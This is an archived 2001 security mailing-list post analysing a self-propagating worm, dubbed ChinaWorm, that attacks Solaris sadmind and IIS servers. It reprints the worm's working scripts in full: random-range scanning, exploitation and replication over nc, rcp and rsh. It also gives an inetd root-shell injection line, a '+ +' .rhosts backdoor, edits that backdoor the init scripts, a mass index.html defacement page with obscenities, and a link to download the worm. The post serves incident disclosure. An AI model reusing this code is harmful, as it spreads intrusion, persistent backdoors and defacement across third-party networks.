OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
From: sheib (sheibmbox.digsys.bg)
Date: Mon Nov 05 2001 - 02:06:29 CST

  • Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

                  --/ TWO-HEADED WORM - CHINAWORM \--

    Since Bugtraq, nor CERT haven't mentionted anything about it,
    it appears that there is another worm spreading on the loose.

    That's a new type of worm, because it attacks two type of systems
    simultanouesly. That's where the two-headed meaning applies.

    I will call it ChinaWorm since that's the name in the
    index tree bellow. In fact, looks much more like a combined worm.
    Its creator appears to be using sysadmcnyahoo.com.cn where he
    recieves the results of his work.

    CW scans C and B class networks for Sun's Solaris
    Sadmind vulnerability as well it does for vulnerable IIS hosts.
    It parasitely lurks in them when it's able to break in.
    When it builds a list with new hosts, it tries to replicate itself.
    I've seen it before and I see it now. Just deciced to drop some
    lines to make notice of it.

    Many must have seen 111/tcp probes over their networks.

    Nov 4 15:30:17 grind kernel: IN=ppp0 OUT= MAC= SRC=216.227.125.143
    DST=x.y.z.p LEN=44 TOS=0x00 PREC=0x00 TTL=235 ID=47042
    DF PROTO=TCP SPT=60014 DPT=111 WINDOW=8760 RES=0x00 SYN URGP=0
    Nov 4 15:30:18 grind kernel: IN=ppp0 OUT= MAC= SRC=216.227.125.143
    DST=x.y.z.p LEN=40 TOS=0x00 PREC=0x00 TTL=235 ID=47043
    DF PROTO=TCP SPT=60014 DPT=111 WINDOW=8760 RES=0x00 RST URGP=0

    The worm installs a primitive backdoor listening to 600/tcp on the
    SunOS hosts that breaks into, so anyone is free to join.

    A brief explanation of what found plus ``snapshots'' follows.
    Some of the sources are published bellow, some are not but are available.

    source host: 216.227.125.143

    uname report:

    SunOS jbod-lab 5.6 Generic_105181-05 sun4u sparc SUNW,Ultra-60

    ps report:

         UID PID PPID C STIME TTY TIME CMD
        root 0 0 0 Oct 31 ? 0:04 sched
        root 1 0 0 Oct 31 ? 0:18 /etc/init -r
        root 2 0 0 Oct 31 ? 0:00 pageout
        root 3 0 1 Oct 31 ? 41:00 fsflush
        root 641 1 0 Oct 31 ? 0:00 /usr/lib/saf/sac -t 300
        root 380 1 0 Oct 31 ? 0:00 /usr/sbin/rpcbind
        root 644 641 0 Oct 31 ? 0:00 /usr/lib/saf/ttymon
        root 463 1 0 Oct 31 ? 0:00 /usr/lib/lpsched
        root 412 1 0 Oct 31 ? 0:00 /usr/lib/nfs/statd
        root 484 1 0 Oct 31 ? 0:00 /usr/lib/sendmail -bd -q1h
        root 433 1 0 Oct 31 ? 0:57 /usr/sbin/syslogd -n -z 14
        root 453 1 0 Oct 31 ? 0:06 /usr/sbin/nscd
        root 407 1 0 Oct 31 ? 0:05 /usr/sbin/inetd -s
        root 382 1 0 Oct 31 ? 0:00 /usr/sbin/keyserv
        root 414 1 0 Oct 31 ? 0:00 /usr/lib/nfs/lockd
        root 429 1 0 Oct 31 ? 0:00 /usr/lib/autofs/automountd
        root 444 1 0 Oct 31 ? 0:00 /usr/sbin/cron
        root 494 1 0 Oct 31 ? 0:00 /usr/lib/utmpd
        root 481 1 0 Oct 31 ? 0:00 /usr/lib/power/powerd
        root 519 1 0 Oct 31 ? 0:04 /usr/lib/osa/bin/arraymon
        root 530 1 0 Oct 31 ? 0:00 /usr/lib/osa/bin/rdaemon
    24 156
        root 64 root 8848 1 0 Nov 01 ? 0:03
    /usr/local/sbin/sshd
        root 585 1 0 Oct 31 ? 0:00 /usr/sbin/vold
        root 564 530 0 Oct 31 ? 0:00 /usr/lib/osa/bin/rdaemon
    24 156
        root 619 1 0 Oct 31 ? 0:00 /usr/lib/snmp/snmpdx -y
    -c /etc/snmp/conf
        root 632 1 0 Oct 31 ? 0:00 /usr/dt/bin/dtlogin -daemon
        root 634 1 0 Oct 31 ? 0:00 /usr/lib/dmi/snmpXdmid -s
    jbod-lab
        root 631 1 0 Oct 31 ? 0:00 /usr/lib/dmi/dmispd
        root 642 1 0 Oct 31 console 0:00 /usr/lib/saf/ttymon -g -h
    -p jbod-lab console login: -T sun -d
    /dev/console -l
        root 327 1 0 05:34:23 ? 0:00 /bin/sh /dev/cuc/uniattack.sh
        root 15620 1 0 02:02:05 ? 0:01 /usr/lib/osa/bin/parityck
    -aqf
        root 14241 338 0 06:48:32 ? 0:00 /dev/cuc/grabbb -t 3 -a
    109.121.177.1 -b 109.121.177.50 80
        root 14231 335 0 06:48:30 ? 0:00 /dev/cuc/grabbb -t 3 -a
    193.68.183.151 -b 193.68.183.200 111
        root 14225 311 0 06:48:29 ? 0:00 /dev/cuc/grabbb -t 3 -a
    164.183.177.1 -b 164.183.177.50 111
        root 14229 326 0 06:48:30 ? 0:00 /dev/cuc/grabbb -t 3 -a
    65.124.177.1 -b 65.124.177.50 111
        root 347 1 0 05:34:23 ? 0:00 /bin/sh /dev/cuc/uniattack.sh
        root 338 1 0 05:34:23 ? 0:00 /bin/sh /dev/cuc/uniattack.sh
        root 14246 345 0 06:48:32 ? 0:00 /dev/cuc/grabbb -t 3 -a
    14.194.177.1 -b 14.194.177.50 111
        root 345 1 0 05:34:23 ? 0:00 /bin/sh /dev/cuc/sadmin.sh
        root 335 1 0 05:34:23 ? 0:00 /bin/sh /dev/cuc/sadmin.sh
        root 326 1 0 05:34:23 ? 0:00 /bin/sh /dev/cuc/sadmin.sh
        root 314 1 0 05:34:23 ? 0:00 /bin/sh /dev/cuc/uniattack.sh
        root 13248 310 0 06:44:24 ? 0:00 /bin/sleep 300
        root 310 1 0 05:34:23 ? 0:00 /bin/sh /dev/cuc/time.sh
        root 29908 1 0 05:27:45 ? 0:00 /usr/sbin/inetd -s /tmp/.f
        root 14235 347 0 06:48:31 ? 0:00 /dev/cuc/grabbb -t 3 -a
    109.216.177.1 -b 109.216.177.50 80
        root 14216 314 0 06:48:28 ? 0:00 /dev/cuc/grabbb -t 3 -a
    18.214.177.1 -b 18.214.177.50 80
        root 311 1 0 05:34:23 ? 0:00 /bin/sh /dev/cuc/sadmin.sh
        root 14237 327 0 06:48:32 ? 0:00 /dev/cuc/grabbb -t 3 -a
    195.209.179.151 -b 195.209.179.200 80

    file index in /dev/cuc:

    drwxr-xr-x 2 root bin 632 Apr 29 2001 ./
    drwxr-xr-x 3 root bin 72 Nov 4 17:11 ../
    -rwxr-xr-x 1 root bin 6556 Apr 26 2001 brute*
    -rw-r--r-- 1 root bin 701440 May 8 23:31 chinaworm.tar
    -rw-r--r-- 1 root bin 86 Apr 26 2001 cmd1.txt
    -rw-r--r-- 1 root bin 655 Apr 29 2001 cmd2.txt
    -rw-r--r-- 1 root root 349712 Apr 29 2001 core
    -rwxr-xr-x 1 root bin 11828 Apr 25 2001 grabbb*
    -rwxr-xr-x 1 root root 66164 Apr 29 2001 gzip*
    -rw-r--r-- 1 root bin 413 Apr 26 2001 index.html
    -rw-r--r-- 1 root root 349696 May 6 04:42 junk.tar
    -rwxr-xr-x 1 root bin 28620 Apr 26 2001 nc*
    -rwxr-xr-x 1 root bin 222608 May 7 21:01 pico*
    -rw-r--r-- 1 root root 10 Apr 29 2001 pkgadd.txt
    -rw-r--r-- 1 root bin 151 Apr 26 2001 ranip.pl
    -rwxr-xr-x 1 root bin 1591 Apr 27 2001 sadmin.sh*
    -rwxr-xr-x 1 root bin 14644 Apr 25 2001 sadmindex-sparc*
    -rwxr-xr-x 1 root bin 217 Apr 26 2001 start.sh*
    -rw-r--r-- 1 root bin 6387 May 24 00:48 test
    -rwxr-xr-x 1 root bin 566 Apr 27 2001 time.sh*
    -rw-r--r-- 1 root bin 350208 May 7 21:22 uni.tar
    -rw-r--r-- 1 root bin 67798 Apr 26 2001 uniattack.pl
    -rwxr-xr-x 1 root bin 645 Apr 26 2001 uniattack.sh*
    -rwxr-xr-x 1 root root 136288 Apr 29 2001 wget*

    brute - SPARC executable used to inject the folowing code into a solaris box
    vulnerable to the sadmind vulnerability [bugtraq id n\a]:

    echo 'pcserver stream tcp nowait root /bin/sh sh -i' > /tmp/.f;
    /usr/sbin/inetd -s /tmp/.f; rm -f /tmp/.f;

    The above would bind a rootshell on port 600/tcp

    cmd1.txt - commands used to trojan a shell service, using rsh -lroot 'sh
    -i'
    tactic

    /bin/echo "+ +" > `/bin/grep root /etc/passwd|/bin/awk -F: '{print
    $6}'`/.rhosts
    exit

    cmd2.txt - will extract uni.tar & backdoor the system's init scripts;
    further explanation below

    /bin/tar -xvf /tmp/uni.tar
    /bin/echo "/bin/nohup /dev/cuc/start.sh >/dev/null 2>&1 &" > /etc/rc2.d/tmp1
    /bin/cat /etc/rc2.d/S71rpc >> /etc/rc2.d/tmp1
    /bin/mv /etc/rc2.d/S71rpc /etc/rc2.d/tmp2
    /bin/mv /etc/rc2.d/tmp1 /etc/rc2.d/S71rpc
    /bin/chmod 744 /etc/rc2.d/S71rpc
    /dev/cuc/wget -c -O /tmp/perl-5.005_03-sol26-sparc-local.gz
    http://202.96.209.10:80/mirrors/www.sunfreeware.com/sparc/2.6/perl-5.005_03-sol26-sparc-local.gz
    /dev/cuc/gzip -d /tmp/perl-5.005_03-sol26-sparc-local.gz
    /bin/mkdir /usr/local
    /bin/cat /dev/cuc/pkgadd.txt|/usr/sbin/pkgadd -d
    /tmp/perl-5.005_03-sol26-sparc-local
    /bin/rm -f /tmp/uni.tar /tmp/perl-5.005_03-sol26-sparc-local
    exit

    core: ELF 32-bit MSB core file, SPARC, version 1, from 'sadmindex-sparc'

    grabbb - network mapping utility

    gzip, nc, pico & wget - common tools involved in the process of replication

    index.html - obviously the creator of the worm, will probably want to
    deface the site's contents:

    <HTML><HEAD>
    <BODY bgColor=black><BR><BR><BR><BR><BR><BR>
    <TABLE width="100%">
      <TBODY>
      <TR>
        <TD>
          <P align=center><FONT color=red size=7>fuck USA Government</FONT></P>
      <TR>
        <TD>
          <P align=center><FONT color=red size=7>fuck PoizonBOx</FONT></P>
      <TR>
        <TD>
          <P align=center><FONT color=red size=4>contact:sysadmcnyahoo.com.cn
          </FONT></P></TR></TBODY></TABLE></BODY></HTML>

    ranip.pl - used to allocate B,C ranges of ips

    use Getopt::Long;

          $addr[0] = int(rand(254)+1);
          $addr[1] = int(rand(255));
          $b_ip = "$addr[0].$addr[1]";
    print $b_ip;

    sadmin.sh - the most important part of the worm - will try to read the
    ``hacked'' list and try to distribute itself using rcp tactics.

    while true
    do
    i=`/usr/local/bin/perl /dev/cuc/ranip.pl`
    j=0
    while [ $j -lt 256 ];do
    /dev/cuc/grabbb -t 3 -a $i.$j.1 -b $i.$j.50 111 >> /dev/cub/$i.txt
    /dev/cuc/grabbb -t 3 -a $i.$j.51 -b $i.$j.100 111 >> /dev/cub/$i.txt
    /dev/cuc/grabbb -t 3 -a $i.$j.101 -b $i.$j.150 111 >> /dev/cub/$i.txt
    /dev/cuc/grabbb -t 3 -a $i.$j.151 -b $i.$j.200 111 >> /dev/cub/$i.txt
    /dev/cuc/grabbb -t 3 -a $i.$j.201 -b $i.$j.254 111 >> /dev/cub/$i.txt
    j=`/bin/echo "$j+1"|/bin/bc`
    done
    iplist=`/bin/awk -F: '{print $1}' /dev/cub/$i.txt`
    for ip in $iplist;do
    /bin/rpcinfo -p $ip > /dev/cub/$i.rpc.txt
    /bin/grep 100232 /dev/cub/$i.rpc.txt >/dev/null 2>&1
    if [ $? = 0 ];then
    /dev/cuc/brute 3 $ip >/dev/null 2>&1
    if [ $? = 0 ];then
    /bin/cat /dev/cuc/cmd1.txt|/dev/cuc/nc $ip 600 >/dev/null 2>&1
    /bin/tar -cvf /tmp/uni.tar /dev/cuc
    /bin/rcp /tmp/uni.tar root$ip:/tmp/uni.tar >/dev/null 2>&1
    if [ $? = 0 ];then
    /bin/cat /dev/cuc/cmd2.txt|/dev/cuc/nc $ip 600 >/dev/null 2>&1
    /bin/rsh -l root $ip /etc/rc2.d/S71rpc >/dev/null 2>&1 &
    /bin/echo $ip >> /dev/cub/sadminhack.txt
    /bin/rm -f /tmp/uni.tar
    fi
    else
    /dev/cuc/brute 4 $ip >/dev/null 2>&1
    if [ $? = 0 ];then
    /bin/cat /dev/cuc/cmd1.txt|/dev/cuc/nc $ip 600 >/dev/null 2>&1
    /bin/tar -cvf /tmp/uni.tar /dev/cuc
    /bin/rcp /tmp/uni.tar root$ip:/tmp/uni.tar >/dev/null 2>&1
    if [ $? = 0 ];then
    /bin/cat /dev/cuc/cmd2.txt|/dev/cuc/nc $ip 600 >/dev/null 2>&1
    /bin/rsh -l root $ip /etc/rc2.d/S71rpc >/dev/null 2>&1 &
    /bin/echo $ip >> /dev/cub/sadminhack.txt
    /bin/rm -f /tmp/uni.tar
    fi
    fi
    fi
    fi
    /bin/rm -f /dev/cub/$i.rpc.txt
    done
    /bin/rm -f /dev/cub/$i.txt
    done

    sadmindex-sparc - the sadmind exploit, SPARC binary

    start.sh - the initalizing tool:

    #!/bin/sh
    if [ ! -d /dev/cub ]; then
    /bin/mkdir /dev/cub
    fi
    /bin/nohup /dev/cuc/time.sh &
    i=1
    while [ $i -lt 5 ]
    do
    /bin/nohup /dev/cuc/sadmin.sh &
    /bin/nohup /dev/cuc/uniattack.sh &
    i=`/bin/echo "$i+1"|/bin/bc`
    done

    test - output from sadmindex-sparc

    time.sh - will check wheter it's done, and if so will try to overwite all
    index.html documnts found on the host with the index document suppliedl.

    #!/bin/sh
    /bin/ps -ef|/bin/grep uniattack.pl > /dev/cub/tmp1
    while true
    do
    /bin/sleep 300
    /bin/ps -ef|/bin/grep uniattack.pl > /dev/cub/tmp2
    /bin/awk '{print $2}' /dev/cub/tmp1 > /dev/cub/tmp3
    process=`/bin/awk '{print $2}' /dev/cub/tmp2`
    for p in $process;do
    /bin/grep $p /dev/cub/tmp3
    if [ $? = 0 ];then
    /bin/kill -9 $p
    fi
    done
    /bin/cp /dev/cub/tmp2 /dev/cub/tmp1
    i=`/bin/grep hacked /dev/cub/result.txt|/bin/wc -l`
    if [ $i -gt 2000 ];then
    /bin/nohup /bin/find / -name "index.html" -exec /bin/cp
    /dev/cuc/index.html {} \; &
    /bin/rm -f /dev/cub/result.txt
    fi
    done

    uniattack.pl - Nimda based perl port of the well known IIS exploit,
    will perform all of the above stuff at once;
    I'm concerned to paste it here. ~60K. A must see.

    uniattack.sh - search for vulnerable IIS' from the list created.

    #!/bin/sh
    while true
    do
    i=`/usr/local/bin/perl /dev/cuc/ranip.pl`
    j=0
    while [ $j -lt 256 ];do
    /dev/cuc/grabbb -t 3 -a $i.$j.1 -b $i.$j.50 80 >> /dev/cub/$i.txt
    /dev/cuc/grabbb -t 3 -a $i.$j.51 -b $i.$j.100 80 >> /dev/cub/$i.txt
    /dev/cuc/grabbb -t 3 -a $i.$j.101 -b $i.$j.150 80 >> /dev/cub/$i.txt
    /dev/cuc/grabbb -t 3 -a $i.$j.151 -b $i.$j.200 80 >> /dev/cub/$i.txt
    /dev/cuc/grabbb -t 3 -a $i.$j.201 -b $i.$j.254 80 >> /dev/cub/$i.txt
    j=`/bin/echo "$j+1"|/bin/bc`
    done
    iplist=`/bin/awk -F: '{print $1}' /dev/cub/$i.txt`
    for ip in $iplist;do
    /usr/local/bin/perl /dev/cuc/uniattack.pl $ip:80 >> /dev/cub/result.txt
    done
    rm -f /dev/cub/$i.txt
    done

    * A Copy of ChinaWorm is available at http://212.7.192.4/cw.tgz *

    /sh

    First rule of public speaking.
            First, tell 'em what you're goin' to tell 'em;
            then tell 'em;
            then tell 'em what you've tole 'em.

    ----------------------------------------------------------------------------
    This list is provided by the SecurityFocus ARIS analyzer service.
    For more information on this free incident handling, management
    and tracking system please see: http://aris.securityfocus.com